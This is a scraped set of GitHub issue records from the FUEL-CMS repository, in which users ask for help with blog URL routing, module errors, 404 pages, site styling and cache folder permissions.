Please tell me how can I change the address of the blog articles with `site.com/blog/2017/01/10/slugtest` change `site.com/name category article/slugtest`, that is to substitute the reference to the article's category is /blog/date. And remove the link `site.com/blog/categories/name` (viewing the category blog), change to `site.com/categoryname` . Thanks in advance for the help!
Changing url blog articles
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/391/comments
1
2017-01-10T19:35:27Z
2019-03-27T02:00:00Z
https://github.com/daylightstudio/FUEL-CMS/issues/391
199,913,355
391
[ "daylightstudio", "FUEL-CMS" ]
I installed modules: FUEL-CMS-Backup-Module-master and google_analytics-master, to dashboard admin write error `Fatal error: Call to undefined method Fuel_advanced_module :: visits () in /var/www/site.com/ fuel / modules / google_analytics / controllers / dashboard.php on line 49` **and** `Fatal error: Call to undefined method Fuel_advanced_module::do_backup() in /var/www/site.com/fuel/modules/backup/controllers/backup.php on line 65 ` Please help eliminate errors, thanks in advance!
Call to undefined method Fuel_advanced_module::do_backup - help me please
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/390/comments
2
2017-01-10T18:21:05Z
2019-03-27T02:05:30Z
https://github.com/daylightstudio/FUEL-CMS/issues/390
199,896,351
390
[ "daylightstudio", "FUEL-CMS" ]
I beg you to help with these issues: 1. Is there a login module, user registration and personal account with a minimal set of features? 2. Is it possible to ask for a different website template, depending on the category id when viewing entries in the category and is similar to the full blog article page 3. How to display the search box on articles on the main page of the site with a choice on what category to look for? 4. Is it possible to make the creation of articles on a single page of the site? (Without admin center) 5. Is it possible to add new fields to create in the admin center, depending on the category? Different fields in each category adding articles **Thanks in advance, I thank you very much for your help! Prosperity to you!**
Help with different tasks and solving problems
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/389/comments
0
2017-01-10T17:37:36Z
2019-03-27T01:56:28Z
https://github.com/daylightstudio/FUEL-CMS/issues/389
199,886,230
389
[ "daylightstudio", "FUEL-CMS" ]
404 error http://prntscr.com/dtv641 when I visit the website site.com/blog all I have done is set up a cms fuel, and installed according to instructions http://prntscr.com/dtv5x1, the module of the blog, please help to solve the problem and start the output. And please tell me, is there a standard design for this cms to see how to display information everywhere it is possible to do and tailor your design by analogy . Thanks in advance! The site is located on the hosting of all standard and customized according to your instructions If you create a category in the admin center of such "news", and go to the site site.com/news also wrote 404 Work links only "pages" Do the links only pages http://prntscr.com/dtv7tj
404 error category page, and blog, user_guide module
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/388/comments
3
2017-01-10T17:13:48Z
2017-06-17T21:40:14Z
https://github.com/daylightstudio/FUEL-CMS/issues/388
199,880,279
388
[ "daylightstudio", "FUEL-CMS" ]
i can see pages are already working e.g http://worldblogged.com/cms/icpau/about/Our-organisation. I have done what's in the doc but it gives me the same results as those pages i create in cms dashboard, how can i style my entire site and navigation?
I have done what's in the doc but it gives me the same results as those pages i create in cms dashboard, how can i style my entire site and navigation?
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/387/comments
1
2017-01-10T12:33:23Z
2019-03-27T01:56:43Z
https://github.com/daylightstudio/FUEL-CMS/issues/387
199,809,529
387
[ "daylightstudio", "FUEL-CMS" ]
Perfect everything is working perfectly well after installing FUEL CMS but now i don't know how to make the front page and other pages am new to Fuel CM. Please i need help on how to style my website
I don't know how to create the front and inside, and other widget pages in Fuel cms. I want to style my new website
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/386/comments
1
2017-01-09T12:55:46Z
2017-06-17T21:39:46Z
https://github.com/daylightstudio/FUEL-CMS/issues/386
199,545,862
386
[ "daylightstudio", "FUEL-CMS" ]
This is what i get http://worldblogged.com/master/fuel/, yet i already asked here about the error and the admin told me about .htaccess files but one file has deny for all, Please i need help asap
am getting a blank page or even sometimes i get an error 404 when i try to log into the dashboard
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/385/comments
6
2017-01-05T06:00:07Z
2019-03-27T01:57:25Z
https://github.com/daylightstudio/FUEL-CMS/issues/385
198,882,181
385
[ "daylightstudio", "FUEL-CMS" ]
I have entered my encryption key. I have set ADMIN = true Loaded DB schema Set the db config file with mysql access Double checked db config file **But i still get page not found 404
I have set everything to do with fuel cms but login in to dashboard am still getting an error 404? why?
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/384/comments
2
2017-01-03T13:45:17Z
2017-01-03T17:08:25Z
https://github.com/daylightstudio/FUEL-CMS/issues/384
198,477,286
384
[ "daylightstudio", "FUEL-CMS" ]
Error: > You must make the /vagrant/public_html/fuel/application/cache/dwoo/compiled/ folder writable. I have tried to change the permissions to _cache_, _dwoo_, and _compiled_ with the following commands, regular and recursive. All output the same error. Replacing ### with 766, 775, 776, and 777. None have worked. sudo chmod ### cache sudo chmod ### cache/dwoo sudo chmod ### cache/dwoo/compiled sudo chmod -R ### cache sudo chmod -R ### cache/dwoo sudo chmod -R ### cache/dwoo/compiled I have also changed permissions via SSH into the Vagrant box, as well as from outside the box on my Mac. I have also tried by deleting the cache directory and creating them fresh. I have looked at these two pages and tried everything suggested all with the same results. http://forum.getfuelcms.com/discussion/11/making-folders-writable/p1 http://forum.getfuelcms.com/discussion/966/errors/p1 I'm somewhat out of ideas at this point. Any help would be appreciated. Thank you.
Error: You must make the /cache/dwoo/compiled/ folder writable.
https://api.github.com/repos/daylightstudio/FUEL-CMS/issues/383/comments
6
2016-11-27T22:17:12Z
2016-11-29T03:10:01Z
https://github.com/daylightstudio/FUEL-CMS/issues/383
191,889,589
383